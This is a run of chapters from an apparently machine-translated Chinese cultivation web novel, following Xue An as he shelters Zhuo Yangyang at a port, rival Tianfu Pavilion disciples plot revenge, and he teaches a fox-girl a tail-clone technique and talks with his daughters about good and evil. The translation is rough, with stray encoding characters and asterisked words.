    Everyone who stayed looked at each other, and they all saw the doubt in each other''s eyes.


    what happened?


    Could it be that this old lady Zhuo was too irritated and had some mental disorders?


    At this moment.


    The laughter stopped abruptly, and then Mrs. Zhuo said coldly: "Although you are very powerful, you are still too young after all. In the end, you were superstitious about God��s will and let me go! Then I will let you understand. If you offend me, I still have Tianfu Pavilion, what will happen!"


    As she said, she said solemnly: "Come here, send this Xu Bao''s body to the Tianfu Pavilion intact, and tell them that the people who killed Xu Bao were probably here to **** the imminent God Rune. !"


    "Yes!" Soon someone stepped forward to shovel the Xu Bao corpse on the ground, put it on a stretcher, and carried it out.


    "Zhuoshi!" The old lady Zhuo shouted again.


    Mrs. Zhuo hurriedly stepped forward, "Old lady!"


    "You take my famous post to the city lord''s mansion to meet the queen, and tell her what happened today, saying that this young man has an unclear origin and should have come from another heaven!"


    "That''s it? Do you want to..." Mrs. Zhuo asked.


    "No, a strong person like the Queen, naturally understands what it means to be a strong person from the outside world at this sensitive time!" Mrs. Zhuo sneered.


    "Yes!"


    After everyone left, the old lady Zhuo murmured bitterly: "Zhuo Yangyang, and you! Wait, I must let you survive and die!"


    at the same time.


    Xue An led Zhuo Yangyang back to the courtyard where he lived.


    Of course, it''s natural to live here now.


    Zhuo Yangyang went back to the house and cleaned up things briefly, then wrapped it into a small bag and put it on her back.


    After so many years of hard work, the only thing that can be taken away is such a small baggage!


    Finally, Zhuo Yangyang stood in front of the door, turned around and glanced at the courtyard where she had lived for many years, then slowly squatted down, crying loudly.


    Xue An also didn''t discourage him, just stood not far away and watched quietly.


    At this moment, the steward Zhuo hurried over. When he saw Zhuo Yangyang carrying a small baggage, he was taken aback and then smiled bitterly.


    "Yang Yang!"


    Zhuo Yangyang raised her head to look at the steward Zhuo, and said in tears, "Zhuo...Uncle Zhuo! I...I''m leaving!"


    Butler Zhuo was silent for a while, then nodded, "It''s good to go!"


    then turned his head and looked at Xue An with a complex expression.


    As the general manager of Zhuofu, he naturally knew what happened in the banquet hall.


    Although he knew that this dinner would not have a good result, but Mr. Zhuo still did not expect Xue An''s methods to be so harsh.


    not only slapped Xu Bao from the Tianfu Pavilion to death, but even slapped the old lady Zhuo over the face.


    After hearing about it at the time, butler Zhuo was shocked.


    Because of what Xue An has done, it is almost like a big hole in the sky.


    And he also understood that Xue An and Zhuo Yangyang must not be able to stay at Zhuo''s house after such a thing happened.


    That''s why he found a chance and hurried over.


    After a moment of silence, the steward Zhuo bowed and saluted Xue An, "My lord, thank you!"


    Xue An smiled, "You''re welcome, just do it! After all, you said, the night is long and wild beasts are rampant! So I simply killed the beast!"


    Steward Zhuo showed a bitter smile, and then said solemnly: "Your Excellency, Miss Yang Yang, now the old lady Zhuo has ordered Xu Bao''s body to be returned to Tianfu Pavilion. Obviously, this will not be that simple End, and this cursed city will obviously not be so safe!"


    "So I think the best place for you now is the port terminal!"


    Xue An is noncommittal about this.


    Zhuo Yang Yang stopped crying when he heard the words, then wiped the tears from his face, "Uncle Zhuo, you mean...Uncle Meng?"


    The butler Zhuo noddedIt''s not just him! Yangyang, you have been operating at the port for more than ten years, and you have both prestige and connections. That is your base camp! Remember, be careful! "


    While talking, butler Zhuo took a deep look at Xue An, and said, "Please!"


    Xue An nodded.


    The steward of Zhuo is gone, and now Zhuo��s family is rumbling, and he can��t leave for too long.


    Xue An led Zhuo Yangyang straight out of the Zhuo Family Mansion Gate, attracting countless people''s attention along the way.


    Xue An didn''t even notice it, and even walked forward with contentment.


    Zhuo Yangyang has mixed feelings, and I don''t know what it feels like.


    As the steward Zhuo said, just after leaving the Zhuo family mansion, the surrounding situation became tense.


    Xue An led Zhuo Yangyang directly towards the port.


    Not a few steps after entering here, Meng Lei was rushing out with people hurriedly, after the two sides met each other.


    Meng Lei let out a sigh of relief when he saw that Zhuo Yangyang was safe and sound.


    "Come with me!"


    Speaking, Meng Lei led Xue An into the alleys of the port.


    finally stopped in front of a very inconspicuous two-story building.


    When Meng Lei led the two into here, there were more than a dozen sailors who Zhuo Yangyang knew well. .


    "Uncle Meng, this..." Zhuo Yangyang was a little surprised.


    Meng Lei sighed, "I heard about what happened to Zhuo��s family soon. I knew it was not good at the time, so I ordered someone to clean up here, and then took someone to save you. I didn��t expect that the adult had already Bring you out safely!"

 Chapter 1036： God willing? I am Gods will!

    Xue An and Zhuo Yangyang stayed in this small building of Meng Lei.


    Because there are too many things happening today, Zhuo Yangyang, who was deeply excited, went back to the house to rest early.


    Xue An was sitting in the living room slowly cooking tea.


    When the fragrance of tea spread, Meng Lei, who went out to find out the wind, pushed the door and walked in.


    At this moment, he looks a little tired.


    Xue An did not lift his head, and said lightly: "Sit down and have a sip of tea?"


    Meng Lei was startled slightly, then smiled, and sat down opposite Xue An.


    After taking a sip of the freshly cooked tea, Meng Lei frowned slightly.


    "This tea..."


    Xue An smiled, "I added some **** slices! Isn''t it a bit awful?"


    "It''s not difficult to drink, but the taste is a bit weird." Meng Lei said, taking another sip of tea.


    Then there was a long silence.


    After a while, Meng Lei hesitated and said, "Master Xue, I don''t know if there is something to say or not!"


    "Go ahead, I''m listening!"


    "Actually... you are at Zhuo''s house today, you should directly kill the old witch!"


    "Oh?" Xue An raised his eyes and glanced at the Captain Meng, "Why do you say that?"


    Meng Lei sighed, "In front of you, let me just say it! Under the control of this old witch, the Zhuo family has completely changed its appearance. When the old man was alive a hundred years ago, the Zhuo family was not what it is now. What a ghost!"


    "So you hate her?" Xue An said lightly.


    "Hate? Of course! In fact, who in Zhuo''s family doesn''t hate her?" Meng Lei paused when he said that, and after a glance at Xue An''s expression, he continued to say that there was nothing unusual.


    "So if you killed this old witch, the situation might be much better than it is now!"


    "Because under her control, the Zhuo family''s hearts are already floating, everyone has their own minds, as long as she dies, then people will start to attack each other for their own interests, and even for revenge, it will only be for face. It��s just beautiful! It��s not as passive as it is now."


    Xue listened quietly, twisting a pure silver tea stick with his hand, gently stirring the tea in the cup.


    Meng Lei seemed to open the chatterbox, and then said: "Now this old witch has ordered someone to send a letter to Tianfu Pavilion, and has begun to contact the city lord at the same time, and both parties have started to operate at the same time. This is obviously a crazy revenge for you!"


    "That''s why I said, it''s better to kill it directly! At least it won''t be like now, if you hit a snake, you won''t be victimized."


    Xue An heard this and suddenly chuckled, "It makes sense!"


    Meng Lei lowered his head, "My lord, I only say this in my heart. Don''t be angry!"


    "Angry?" Xue An shook his head, then stood up and walked slowly to the window of the living room.


    Outside is the darkness of a black hole.


    Xue An said lightly: "Actually, I thought of what you said!"


    "Then you..." Meng Lei was taken aback.


    Xue An carried his hands on his back and said lightly: "But you think, if I killed this old witch, what would Zhuo Yangyang think?"


    Meng Lei''s pupils shrank instantly.


    "It is certain that Zhuo Yangyang must have hated the Zhuo family to death, but this hatred is different from the others! Because she has lived in this kind of shadow since she was a child, if she wants to be truly To come out, she has to kill the enemy by herself, instead of watching the enemy be killed by others!"


    "Otherwise, she will never be able to come out in the future!"


    Speaking of this, Xue An turned to look at Meng Lei, "What I said, do you understand?"


    After thinking about it for a moment, Meng Lei nodded heavily, "Understood! And in the end you threw money, and ended up letting her go. It seems that this is God''s will! Maybe this old witch really shouldn''t be killed! I was reckless. !"


    After speaking, he got up and left.


    watched his figure gradually disappear into the darkness.


    Xue An stood in the distance, a smile appeared at the corner of his mouth, and then the money appeared in his hand.


    Slender fingers flicked lightly, and the money flipped and soared in Xue An''s hands like a living thing. The speed was so fast that many phantoms appeared.


    Then Xue Ancai said lightly: "The will of heaven...hehe, I am the will of heaven!"


    As he said, Xue An throws it casually, and the money falls on the table. After spinning for a while, it finally stops.


    But the picture above is blurry, like moir��, and like a font.


    The actions of Zhuojia are much faster than many people imagine.


    Before the night passed, Xu Bao''s body had been sent to the mansion set up by Tianfu Pavilion in this cursed city.


    Normally, there are basically only a few lower-level disciples stationed here, but because of the recent appearance of the **** pattern, the major disciples from Tianfu Pavilion have all rushed over.


    Xu Bao is also one of them.


    It was never expected that this disciple, who was so beloved by the master of Tianfu Pavilion, just went out to a dinner party, and when he returned, he turned into a vague pool of flesh and blood.


    The light in the room was shining white, and the face of the person in the photo was pale.


    The atmosphere is depressing and terrible.


    The faces of the major disciples of ���� Tianfu Pavilion were extremely ugly.


    After a long time, I heard one of the biggest men suddenly slapped the table His eyes were full of angry roars: "It''s really the opposite of daring to kill my junior! Don''t do it!"


    said he wanted to go out.


    "Hold on!" A lazy voice suddenly came in from outside.


    said, a man who was thin to a little slender walked in from the outside, and this man was very glamorous with fat and powder.


    Seeing this man walk in, everyone in the room got up.


    "I have seen Brother Kang!"


    "I have seen the big brother!"


    The big man was also taken aback, and then said a little uncomfortably: "Big brother, what are you doing to stop me? Is it wrong for me to avenge Junior Brother Xu?"


    The man chuckled for a while, and then said: "Of course there is nothing wrong, but have you forgotten that my brother Xu''s cultivation is much better than you, even he has become this appearance, you go, don''t you die?"


    The big man was speechless for a while, but finally bowed his head.


    At this time, the man slowly walked up to Xu Bao''s body.


    Facing this **** scene that ordinary people don''t dare to look directly at, the man is excited and even licks his lips greedily.


    "This picture is so beautiful!" The man whispered softly, then leaned down abruptly, sniffing Xu Bao''s corpse like a hound, and even touched a little blood with his hand at the end and put it in. Mouth. .


    When everyone saw this, their faces were a little pale.


    But the man, as if tasting some supreme delicacy, sighed with intoxication: "What a powerful force! A palm smashed Junior Brother Xu into fleshy flesh!"

 Chapter 1037： A fox running wild on the road of pit brother...

    The visitor was the big brother of Tianfu Pavilion, named Kang Huazang.


    This person has a strong cultivation base. Although he is not very old, he is already a powerhouse at the Zhengshen level.


    This time, he came to the Cursed City to capture the imminent God Mark, and it was he who led the team.


    "Big brother, who is the murderer?" the big man asked.


    Kang Huazang narrowed his eyes, as if thinking about something, until after a while, he suddenly opened his mouth and exhaled a cloud of smoke.


    The smoke condenses in the air without dispersing, and gradually transforms into images.


    is the scene of Xu Bao before his death.


    When Xue An''s face gradually emerged in the picture, the people in the room couldn''t help but commotion.


    "Is this the murderer of Xu Bao?"


    "It looks very face-to-face! It''s not like a person from this universe!"


    "It was just a palm that smashed Xu Bao to pieces. This person''s strength should not be underestimated!"


    In these comments, Kang Huazang looked at Xue An''s image with bright eyes and whispered softly.


    "What a beautiful boy! It must feel good in my arms!"


    Talking, Kang Huazang giggled nervously.


    But at this moment, I saw the image of Xue An suddenly raised his head, glanced at the people in the room coldly, then stopped his gaze on Kang Huazang, and smiled slightly.


    boom!


    The picture composed of smoke shattered instantly, and Kang Huazang was even more as if struck by lightning, his complexion instantly turned pale, and he took a few steps back.


    "Big brother!"


    Everyone in the room was surprised.


    Kang Huazang waved his hand and signaled that he was okay, then he looked thoughtfully at the smoke that had returned to nothing, his eyes gradually cold.


    "You can actually break my secret technique, it seems you are really underestimating you! But no matter who you are, if you offend my Tianfu Pavilion in this heaven, then you have to pay a price!"


    at the same time.


    in the two-story building at the port.


    Xue An is sitting in his room, talking to An Yan.


    suddenly.


    He suddenly raised his eyes and looked into the distance.


    "Husband, what''s the matter?" An Yan was taken aback.


    Xue An shook his head, "It''s okay, it''s just that someone is using secret techniques to trace back time and explore my tracks!"


    "Look back in time?" An Yan was taken aback by this seemingly mysterious term.


    Xue An smiled, "It''s just a trick, it''s not worth mentioning!"


    "Will there be anything wrong?" An Yan asked worriedly.


    Xue An leaned on the chair, gently playing with An Yan��s hair with his fingers, and said lightly: ��In front of your husband, of course, nothing will happen! Actually, if it weren��t for this imminent **** pattern and the so-called fall. Old god, I don��t bother to spend time with them here!"


    An Yan nodded seemingly.


    Even though she often frets with Xue An about some trivial matters, An Yan has always followed Xue Anyan in business matters.


    "By the way, how is the homework of the two little girls?" Xue An suddenly remembered this and couldn''t help asking.


    Just don''t ask, and when you ask about this, An Yan will not be angry.


    "What do you say, your two daughters are so irritating!"


    "Oh? Why are you irritating?" Xue An was taken aback.


    "I asked them to endorse, but they told me the truth. At first, they just thought about it. Now even Nian Nian has learned to speak loudly! I didn''t have any prestige to be a mother!" An Yan cried. Hit the sky.


    Xue An smiled, "Oh? Suddenly?"


    "Yeah! I will call them two out now and let you ask!"


    "No, I''ll go into the Fubao Xiaolou and have a look!"


    When Xue An also walked into the Fubao Xiaolou, Hu Ying and Zhang Xiaoyu were still fighting in front of the computer.


    "Fuck, there are zombies here, hurry up! Come here soon!" Hu Ying stared at the screen intently, shouting from time to time.


    Zhang Xiaoyu has given full play to her racial talents, spreading out all seven or eight tentacles, and controlling three computers at the same time.


    After hearing Hu Ying''s shout, Zhang Xiaoyu was excited, "Where is it?"


    "Here, here, right behind that car! My slot, there are so many more, come here soon! Damn, I''m surrounded!" Fox Ying was excited to get into the computer directly.


    "Master Fox hold on, I''ll come to rescue you right away!" As he said, a few tentacles of Octopus waved at an extremely fast speed, and the keyboard cracked.


    Soon, Zhang Xiaoyu manipulated the characters to rush to the place where Hu Ying was trapped, and then a dizzying limit operation.


    With every gunshot, a zombie will be headshot. This magical marksmanship kills all the zombies that besieged Fox Ying in an instant.


    Huying pointed at Zhang Xiaoyu with a thumbs up, "Cow*!"


    Zhang Xiaoyu happily, his tentacles formed a proud heart in the air.


    "That is, I am the little octopus game master!"


    "I really envy you with so many hands. I don''t know when I can grow more hands!" Hu Ying said with envy.


    At this moment, Xue An walked in with a smile, "Don''t envy her, in fact, you can too!"


    "Brother Xue!"


    "grown ups!"


    The two hurriedly stood up.


    Xue An smiled and nodded, and then Chonghuying smiled: "I heard that you killed eight computers a week?"


    Fox Ying''s face turned red, "Oh, Brother Xue, didn''t I be scared when I was playing games!"


    "Afraid? What are you afraid of?"


    "Afraid of ghosts, zombies, or something... ��!" Hu Ying''s voice became smaller as she said, because she felt a little embarrassed.


    Xue An even more dumbfounded: "The dignified celestial fox bloodline, the noble bloodline counted in the heavens, is afraid of ghosts and zombies? If this is known by your brother, you must fight me!


    "Hee hee, just hit it. My brother can''t beat you anyway! I remember how many times did he lose to Brother Xue before? Ten thousand..."


    "Thirteen thousand four hundred and twenty-one times! It should have been thirteen thousand four hundred and twenty times! But once again on the earth, no accident, he lost again!" Xue An said lightly.


    "Yes, yes! That''s the number! I have to find a small book to write it down, so that when he stinks in front of me, I forget how much it is!"


    Looking at Fox Ying, who is running wild on the road of Kengge Xue An can''t help but sympathize with Fox Ye.


    "By the way, Brother Xue, you just said I don''t need to envy Teppanyaki, can I really?"


    Zhang Xiaoyu was full of black lines on the side, "I am not called Teppanyaki!"


    "Good teppanyaki, I remember teppanyaki!"


    Zhang Xiaoyu: "..."


    Xue An nodded, "Yes!"


    "Then let''s start now! I want to grow more hands too!" Hu Ying was very excited.


    Xue An smiled and shook his head, "You are a fox and not an octopus. Why do you grow so many hands?"


    "Huh?" Hu Ying was taken aback, "But..."


    Xue An said lightly: "Although you can''t grow so many hands, you have a tail that others can''t grow!"

 Chapter 1038： Sky Fox Bloodline

    "Tail?" Hu Ying was taken aback for a moment, "Are you talking about this?"


    After speaking, three tails, white as snow and crystal-like jade, appeared behind Hu Ying.


    These three tails are so slender that they even occupy most of the room.


    Xue An was taken aback for a moment, then nodded with a wry smile, "Yes!"


    "But I don''t think this thing has any effect? ??Except when it can be used as a quilt when sleeping, that is, you don''t need to hold an umbrella when it rains!" Huying said, playing with the fox tail in her hand.


    Xue An gave a light cough and turned his gaze away, "Ying''er, put your tail away first!"


    "Why?"


    "Ahem, you are in the Qingqiu fox country, no one has told you that the tail of the sky fox is extremely secretive, it can''t be shown easily, and only the closest people can see it?" Xue An said.


    Hu Ying frowned and thought for a while, and then hesitantly nodded, "It seems to have said so, but I didn''t show it casually! Because in my mind, Brother Xue is my closest person. !"


    Talking, Hu Ying tilted her head and laughed at Xue An.


    When the power of the bloodline gradually began to recover, and the figure gradually matured from loli, the beauty of Fox Ying also rose exponentially.


    Especially when the Sun Fox clan showed its tail, the powerful charm in the bloodline gave this beauty a powerful lethality.


    Don''t talk about the man, it''s just the Octopus on the side, who is also stupid at the moment, with exclamation marks in his eyes.


    But Xue An was indifferent to these, and even raised his hand and knocked on the head of Hu Ying, "Dare to use magic tricks for me again, be careful I shut you down!"


    Hu Ying couldn''t eat pain, she hugged her head and said grievously: "Oh, Brother Xue, I just want to test how my bloodline has recovered! Ooo, Sister Yan, Brother Xue hurts me! "


    said, she wiped away tears without knowing whether it was true or not.


    Xue An wanted to say something, An Yan glared at him fiercely, then walked forward and gently stroked Huying''s head, "Okay, okay, sometimes he doesn''t know the severity, don''t cry!"


    "Yeah!" Hu Ying responded aggrieved, while secretly sticking out her tongue at Xue An.


    Xue An couldn''t help but shook his head and chuckled, "Okay, stop making trouble! When you were in Qingqiu Fox Country, nobody really told you about the tail?"


    Fox Ying shook her head, "No one really said that, the elder only told me, let me protect my tail!"


    Xue An was silent.


    An Yan couldn''t help asking: "Husband, what happened to Ying''er''s tail?"


    "Oh, it''s nothing, I just think the elders of the Qingqiu Fox Country are too spoiled for this girl! Actually they didn''t even tell her such common sense, and were willing to let her be a happy little fool!"


    "I am not a happy little fool!" Hu Ying was anxious.


    Xue An nodded, "Agree, because you are not so happy sometimes!"


    Huying frowned and thought for a long time, and then said to An Yan, "Sister Yan, is Brother Xue sarcasm?"


    An Yan was also a little bit dumbfounded, and couldn''t help squeezing her face, "You! What a dead girl who makes people hate and love!"


    Xue An said indifferently: "The dignity of the bloodline of the Tianhu family has been handed down since the ancient times of the ancient times, and has a clear lineage. The bloodline has never been cut off! And the power of the Tianhu is also recognized by all heavens and all realms. !"


    "And this tail also represents how much the blood of the sky fox is opened!"


    "Three points are the boundary, and below three are ordinary foxes who have never awakened their bloodlines. Above three points proves that they have begun to awaken gradually! By analogy, to six points, they are already considered the best among the sky foxes!"


    Fox Ying nodded when he heard the words, "It turned out to be that, no wonder the fox clan around me basically had six tails at the time, but the elders all had seven tails, so what level is that?"


    Xue An smiled slightly, "Seven Tails are the absolute powerhouse among the celestial foxes, and they have even touched a trace of ancient blood! Such an existence is a powerhouse that cannot be ignored no matter where it arrives!"


    "What about my brother? What level is he?" Hu Ying asked curiously.


    "Is he..." Xue An smiled, "Although your brother has lost me more than 10,000 times, but in terms of talent and blood, he is indeed the best of the heavens. He had already awakened eight tails at the beginning!"


    "Eight!" Hu Ying exclaimed a little.


    "Yes! The Bajos are only one step away from the real Tianhu! Even so, your brother has already proved the Immortal King, if you take this step, then you can prove the Immortal Emperor, even the Immortal Venerable!"


    "so smart!"


    "Of course! That''s why I said that the elders of Qingqiu Fox Country are too spoiled for you, and they didn''t even tell you this common sense!"


    "Hey!" Hu Ying smiled embarrassedly, and then suddenly seemed to think of something, raising her head to look at Xue An with hope.


    "Then Brother Xue, did you just mean that my tail can have other functions?"


    Xue An nodded, "Of course!"


    "Then teach me!" Hu Ying''s eyes were shining.


    Xue An couldn''t laugh or cry, "Ying''er, you are the little princess of the Tianhu tribe. Shouldn''t the elders of the Tianhu tribe or your brother should do this kind of thing? Wouldn''t I have been teaching it?"


    "Oh, there is so much truth. If you don''t agree, let them fight with Brother Xue. They can''t beat you anyway!" Hu Ying took it for granted.


    Xue An was amused by Hu Ying��s words and scratched her nose, "You, what a disturbing girl!"


    "Hey! Then you taught me?"


    Xue An nodded, and passed a spiritual thought directly.


    Fox Ying was slightly startled After a while, she said in a little astonishment: "So complicated?"


    "What do you think? The tail of the Tianhu tribe is a big killer, and if used well, it can even be as good as a magical weapon! This is still part of your brother''s bet to lose to me, and there is a lot left! But with your current strength, It is obviously unrealistic to learn all the words, you can learn how to use it first, and then start a little practice!"


    Xue An dialed Fox Ying a few times. Although Xue An has not practiced, and this is not even a human technique, with Xue An��s vision, a few clicks at hand will be enough to benefit Hu Ying.


    soon.


    Fox Ying excitedly began to condense his tail.


    after a moment.


    I saw her three tails suddenly disappeared, replaced by three clones.


    These three avatars look exactly the same as Huying, and they are different from the avatars condensed by spells. Because they are transformed by the tail of Huying, they are exactly the same as the main body and cannot be distinguished.

 Chapter 1039： Think independently

    Hu Ying almost jumped up with excitement, and directly manipulated the three clones to start operating the computer.


    Then she found that these three clones were used like arms, and there was no obstacle to playing the game.


    So she said to Zhang Xiaoyu triumphantly: "See you, now I have three helpers for my old lady, and I will cover you when I play games in the future!"


    Then she seemed to think of something, turned around and said to Xue An with a firm face.


    "Brother Xue, if there are more tails, will there be more clones?"


    Xue An nodded, "Of course! In fact, your three tails are only the most basic, and with each additional tail, the clone that can be transformed increases exponentially. When you reach the realm of your brother, you can be transformed into billions. Walk the heavens!"


    "Incarnate hundreds of millions..." Hu Ying whispered several times, then suddenly raised her head and asked, "What if it is nine tails!"


    "Nine tails... To be honest, I don''t know too much, because I have never seen it, but it is said that when that time comes, you can become immeasurable!" Xue An said lightly.


    Fox Ying lowered her head thoughtfully.


    Xue An led An Yan and was about to leave, but at this moment.


    Fox Ying suddenly raised her head and said to Xue An earnestly: "Brother Xue, I will surely awaken the nine tails, surpass my brother, and become the one and only sky fox!"


    Xue An stopped, looked back at Hu Ying, then smiled and nodded, "Okay, I''ll wait for that day!"


    Maybe the two of you don��t know what this promise means!


    Although this Fubao Xiaolou was only forged by a real fairy, because of a coincidence, a certain law of heaven was incorporated in the forging process, so this Fubao Xiaolou has all kinds of strangeness.


    For example, this Fangcun Cave Sky is one of them.


    can accommodate a cave sky within a square inch, and as the controlling Xue An, in this cave sky can control everything.


    Despite this, Xue An slowly climbed up the steps and came to the second floor.


    After turning a corner, you can hear two little girls reading loudly.


    "At the beginning of the human being, the nature is good, the nature is similar, the habits are far away..." The voice is simple and simple, and it can be heard that it is recitation.


    Xue An smiled, and then looked back at An Yan, that means it��s good if I don��t recite it.


    An Yan shook his head lightly, and then gently pulled Xue An out of the room.


    The door of the room is hidden, you can see the scene inside.


    I saw two little girls sitting behind the desk, one of them was reading a large book.


    looked around, Nian-nian started to recite with shaking her head.


    But at this moment, I suddenly put down the book in my hand, waved my hand, and interrupted the words, "Don''t read it!"


    "Huh? Sister, what''s the matter?" Nian-nian put down the book and asked blankly.


    "I think this sentence is wrong!"


    "What''s wrong? Did I recite wrong?" Nian Nian asked in confusion.


    "It''s not that you memorized it wrong, but I think it''s wrong in itself!" Think about it.


    "But Mom said, I want us to recite this book!"


    "My mother may not be all right! For example, the first sentence I think is wrong, what is the original goodness of human nature? When babies are born, they don��t know anything, and only survive by instinct. As for the goodness. The notions of evil are forced by others! Besides, what is good and what is evil? Do you know?"


    Niannian shook her head, "I don''t know, and sister, I don''t understand what you said!"


    "You! You are too stupid! Let me give you an example! For example, when you are walking in the mountains and forests, you suddenly meet a wolf who wants to eat a deer, what would you do?"


    "Why should I go for a walk in the forest? I don''t like to move the least. Wouldn''t it be good for me to have a snack at that time?" Nian Nian''s attention was completely off the track.


    Thinking about being so angry, his face was stern, and he showed the majesty of being a sister, "No, I said you go for a stroll, you have to go!"


    "Okay! What''s the problem?"


    "When a wolf wants to eat a deer, what would you do?"


    "Well... I will ask if the wolf can let me take a bite too!" Nian-nian said very seriously.


    Think about it: "..."


    then couldn''t help but pat Nian Nian''s head with the book in his hand, "Eat, eat, you know how to eat!"


    "But I really think so!" Nian-nian said seriously.


    "I''ll give you another chance, please answer me honestly, if you still want to eat ice cream tonight!" Think about it and say with a straight face.


    Hearing the ice cream, Nian Nian hurriedly sat up straight, and then said with a serious face: "I will help the deer run away the big bad wolf, because the fairy tale said that the big bad wolf is a bad person!"


    "That''s right!" I think about standing up, with my little hand on his back, walking back and forth in the room like a little adult.


    "In our opinion, it is wrong for a wolf to eat deer. A wolf is a bad person and a deer is a victim! But if you change the angle, from the wolf''s point of view, it may not survive without eating deer, and in its home, it may still There are a few little wolves waiting to be fed, so it has to eat deer in order to survive. It has nothing to do with good or evil, but to survive!"


    Nian Nian looked stunned, but thinking of ice cream, she still sat there and listened.


    "In the eyes of the deer, of course it does not want to be eaten, so in order not to be eaten, they will exercise and run hard. In the end, the strong ones survive, and the old, weak and sick are eaten by the wolves. Although it sounds cruel, the entire group survived!"


    "And now you are passing through the forest and you met a wolf eating a deer. You beat the wolf and thought that you saved the deer. You were very happy! But you didn''t know that the wolf died because he couldn''t eat. , And the little wolf in the den died together, and the deer that should have died because of a fluke, the whole deer herd that was involved in the back also suffered!"


    "And the root of all this is because of the view of good and evil that people impose on all of this! Do you think this is not funny?"


    Xue An couldn''t help being a little stunned when he heard such clear words.


    At this moment, An Yan patted his shoulder lightly, and sighed: "Husband, did you hear that? This little girl''s mouth is so good that I can''t refute it sometimes! So now It''s up to you to discipline, there is nothing I can do!"


    Xue An laughed, then slowly walked out of the shadows, appeared in front of the door, and whispered, "I miss you!"


    The two little girls looked back, and then shouted in surprise, "Dad!"


    said, the two little girls rushed over.

 Chapter 1040： Little trouble to think about

    Xue An held the two daughters in his arms.


    "Dad, why did you come in" think about it and ask.


    "Yes, dad, did you bring me something delicious?" Nian-nian asked.


    Xue An laughed, "Niannian, no wonder your sister said that you know that eating is really a standard foodie"


    "Hey, Dad, you heard what you said just now" Nian Nian asked in surprise.


    Xue An nodded, then looked at his eldest daughter to think about it, and sighed, "Think about it, I have to say, what you just said surprised me."


    "Dad, do you think I''m right?" Thinking about it, he said with excitement.


    "Also right, but not right"


    "Yes, it''s because good and evil are indeed established by humans. Before this, the heavens and the earth were naturally operating like this, and it was fine without any human intervention. What you want to say should be what you mean, right. What"


    Think about it and nodded, "That''s right, Dad, isn''t that wrong?"


    "Of course, the problem is that the reason why people are humans, even known as the leader of the lark, rather than being confused with other birds and beasts, is because of what, do you know?"


    Think about it, lowered his head and thought for a moment, "is it because people cultivate faster than other ethnic groups?"


    Xue An shook his head, "On the speed of cultivation, the powerful inheritance among the monster race can kill the human race in seconds."


    "That''s because people have their own civilization heritage"


    Xue An shook his head again, "Apart from anything else, it is the God Realm we are now in. The civilization of those Protoss is hundreds of thousands of years old, much longer than Humans."


    "Why is that?" I thought about it and asked curiously.


    Xue An smiled and patted her little head, "It''s because of the concept of good and evil you just said"


    Speaking of this, Xue An raised his head and said indifferently: "Maybe the distinction between good and evil existed before the Human Race, but the concept of good and evil can really be carried forward and become the mainstream among the heavens because of the emergence of the Human Race."


    As he said, Xue An looked down and thought about it, "Think about it, in your opinion, how is good and evil distinguished?"


    Think about it, frowned and thought for a long time, and finally shook his head dejectedly, "I don''t know"


    Xue An laughed, ��It��s normal if you don��t know. Because of this question, many people who have lived for a long time have no answer.��


    Then Xue An looked at An Yan, "Yan''er, what do you think?"


    Yaner thought for a long time, and finally hesitated and said: "Help others"


    Xue An nodded, "It''s a **** thing too, even better."


    "What is the real answer?"


    Xue An shook his head, "To be honest, I don''t know either."


    "Yeah" An Yan was taken aback.


    I was a little dazed to miss it.


    Because in their eyes, Xue An knows everything


    "In fact, there is no absolute good and evil at all, just like thinking about it, the good you think is completely evil when it comes to the wolf, but I only have a very simple standard" Xue Angan paused, and then said lightly.


    "Do unto others, do not impose on others"


    "Do not do to others what you don''t want." An Yan and Xiang Xiang both whispered softly.


    And Xue An went on to say: "Think about it, in fact, these things and the truths you just said are just a few words for you, because you will not really understand if you have not experienced it."


    "So what I hope you do is not to use these empty talks to decide your future life early at this time, because what you need now should be a relaxed childhood"


    Hearing what Xue An said, the sadness that was originally suppressed in thinking about the eyebrows gradually disappeared, and the eyes that had been pretending to be mature became pure again.


    "Yeah, thank you dad, I understand"


    Xue An said with a faint smile: "What do you understand?"


    "The truth that I haven''t experienced is just empty talk after all, so I want to grow up quickly and understand everything as soon as possible" think about it.


    Xue An chuckled and patted her head, "Silly girl, when you really grow up, you will regret this sentence"


    Nian Nian, who has been silent all the time, suddenly said, "I also want to grow up as soon as possible."


    "Hmm, why are you?"


    "Because when I grow up, I will be able to eat ice cream unscrupulously. I think it makes me very happy," Niannian said, drooling.


    Xue An laughed loudly, "Stupidly, there is nothing good about eating ice cream, and today my father will take you out for a big meal."


    "Really da"


    Xue An nodded, "Of course it is true"


    "Oh oh oh oh, we are going to have a big meal" The two little girls jumped high in excitement.


    Xue An squeezed his eyes with An Yan, then lowered his voice and said, "How about me as my father?"


    An Yan screamed and laughed, gave Xue An a white look, and then asked: "Husband, where are you going to have a big meal"


    "Naturally go to the outside port"


    "But isn''t the situation outside now very tense?" An Yan asked worriedly.


    Xue An smiled, "Don''t worry, with your husband here, if the sky falls, I will let him go back obediently"


    This cursed city was built on the sea. It was originally a port everywhere, but because of its special location, over time, it gradually formed a port.


    and eventually developed into a very large seaport market.


    Because this cursed city has developed trade, hundreds of huge ships go back and forth every day, so it also feeds countless sailors and people who live on ships.


    So this harbor market is very bustling and lively.


    The huge ships from everywhere brought countless novelties, from the extremely expensive Outland Tianbao to the extremely cheap crude rice.


    When Xue An led the family on the street, missed and couldn''t help being stunned by the prosperous scene in front of him.


    But children always like to be lively, so soon the two of them became excited.


    "Dad, I want to eat this" Nian Nian said, pointing to a strange snack.


    "it is good"


    "DadI want to play this" think about it and point to a very novel thing.


    "no problem"


    To the demands of the two daughters, Xue An can be said to be responsive. No matter what he said, he nodded and said yes with a smile.


    An Yan couldn''t help but stop it until the two daughters clamored to buy a vile-looking snake, and Xue An also nodded in agreement.


    "It''s almost done. It''s only a few steps away. I bought so many. Will I buy this street later?"


    Miss Miss Nian closed her mouth and dared not say anything.


    But after a while, Xue An lowered his head and asked with a grin: "Is you hungry? Daddy will take you to eat the seafood here, okay?"


    The two little girls'' eyes lit up, and they said in unison: "Okay"

 Chapter 1041： Xuanhai Tower

    Wang Ke is a member of Xuanhai Tower, and to put it bluntly, he is the second in the shop.


    Wang Ke cherishes this job very much, despite being a waiter.


    Because in this cursed city, ordinary people like Wang Ke with no cultivation base and no background, the only way out is to become a sailor.


    But the vast sea where giant beasts are rampant often means extremely high mortality.


    After a deadly escape, Wang Ke never dared to go to sea again, and finally found such a job.


    Although it was a bit hard, Wang Ke was content.


